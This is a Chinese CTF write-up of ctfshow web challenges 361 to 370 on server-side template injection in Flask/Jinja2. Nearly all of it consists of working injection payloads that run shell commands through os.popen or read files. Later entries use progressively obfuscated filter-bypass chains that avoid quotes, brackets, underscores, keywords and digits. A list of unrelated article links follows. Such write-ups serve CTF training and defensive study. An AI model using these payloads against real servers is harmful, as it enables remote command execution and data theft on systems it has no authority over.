【Web】Ctfshow SSTI刷题记录1

目录

[①web361 362-无过滤](#①web361 362-无过滤)

②web363-过滤单双引号

③web364-过滤单双引号和args

④web365-过滤中括号\[\]、单双引号、args

⑤web366-过滤单双引号、args、中括号\[\]、下划线

⑦web367-过滤单双引号、args、中括号\[\]、下划线、os

⑧web368-过滤单双引号、args、中括号\[\]、下划线、os、{{

⑨web369-过滤单双引号、args、中括号\[\]、下划线、os、{{、request

⑩web370-过滤单双引号、args、中括号\[\]、下划线、os、{{、request、数字


①web361 362-无过滤

题目给到Hint,尝试传?name={{1-1}}测试出ssti注入点

掏出武器库秒了(上文有总结)

?name={{url_for.globals'__builtins__''eval'("import('os').popen('tac /f*').read()")}}

或者

?name={{url_for.globals.os.popen('tac /f*').read()}}

②web363-过滤单双引号

?a=os&b=popen&c=cat /flag&name={{url_for.globalsrequest.args.arequest.args.b(request.args.c).read()}}

或者

?a=tac /f*&name={{url_for.globals.os.popen(request.args.a).read()}}

③web364-过滤单双引号和args

?a=os&b=popen&c=cat /flag&name={{url_for.globalsrequest.values.arequest.values.b(request.values.c).read()}}

或者

?a=tac /f*&name={{url_for.globals.os.popen(request.values.a).read()}}

④web365-过滤中括号\[\]、单双引号、args

?c=cat /flag&name={{url_for.globals.os.popen(request.values.c).read()}}

⑤web366-过滤单双引号、args、中括号\[\]、下划线

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

Cookie:a=globals;b=cat /flag

⑦web367-过滤单双引号、args、中括号\[\]、下划线、os

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=globals&b=os&c=cat /flag

⑧web368-过滤单双引号、args、中括号\[\]、下划线、os、{{

使用{%%}绕过,再借助print()回显

?a=globals&b=os&c=cat /flag&name={% print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}

⑨web369-过滤单双引号、args、中括号\[\]、下划线、os、{{、request

?name=

{% set po=dict(po=a,p=a)|join%}

{% set a=(()|select|string|list)|attr(po)(24)%}

{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}

{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}

{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}

{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}

{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}

{% set chr=x.chr%}

{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}

{%print(x.open(file).read())%}

⑩web370-过滤单双引号、args、中括号\[\]、下划线、os、{{、request、数字

?name=

{% set c=(dict(e=a)|join|count)%}

{% set cc=(dict(ee=a)|join|count)%}

{% set ccc=(dict(eee=a)|join|count)%}

{% set cccc=(dict(eeee=a)|join|count)%}

{% set ccccccc=(dict(eeeeeee=a)|join|count)%}

{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}

{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}

{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}

{% set coun=(cc~cccc)|int%}

{% set po=dict(po=a,p=a)|join%}

{% set a=(()|select|string|list)|attr(po)(coun)%}

{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}

{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}

{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}

{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}

{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}

{% set chr=x.chr%}

{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}

{%print(x.open(file).read())%}

相关推荐
子兮曰15 小时前
jev-ultrafast 深度解析:7 秒订机票的浏览器 Agent 是如何炼成的
前端·后端·agent
子兮曰15 小时前
Jev 爆发一周:7 秒 Agent 背后的 System One 生态与三场争议
前端·后端·ai编程
一隅论数智15 小时前
给AI一张“业务概念地图“:本体如何从哲学走向企业智能
大数据·人工智能·经验分享·笔记·学习·学习方法·政务
前端小万15 小时前
写公众号赚了 3000 块后,我做了一款叫 "一键成稿" 的软件
前端·微信小程序
爱勇宝15 小时前
ZCode 开源 24 小时:一份没有历史的账本,回答不了"有没有偷代码"
前端·后端·chatglm (智谱)
三十而立洋16 小时前
Cookie 详解:从产生到安全,一次讲透
前端·javascript
卡布鲁16 小时前
把一个 Vite + Vue3 应用塞进 qiankun (React + Umi3) 主站:十个坑的复盘
前端·javascript·react.js
深圳老胡17 小时前
STM32F407 控制 L6470 步进电机驱动 —— 控制过程简介
笔记·stm32·单片机·嵌入式硬件·代码规范
龙亘川17 小时前
一网统管AI平台民生业务实践:基于城市数字底座赋能公积金业务服务升级
大数据·安全·智慧城市·开源软件·数据可视化·政务
Because_of_Her118 小时前
并查集-听课笔记
笔记·算法·并查集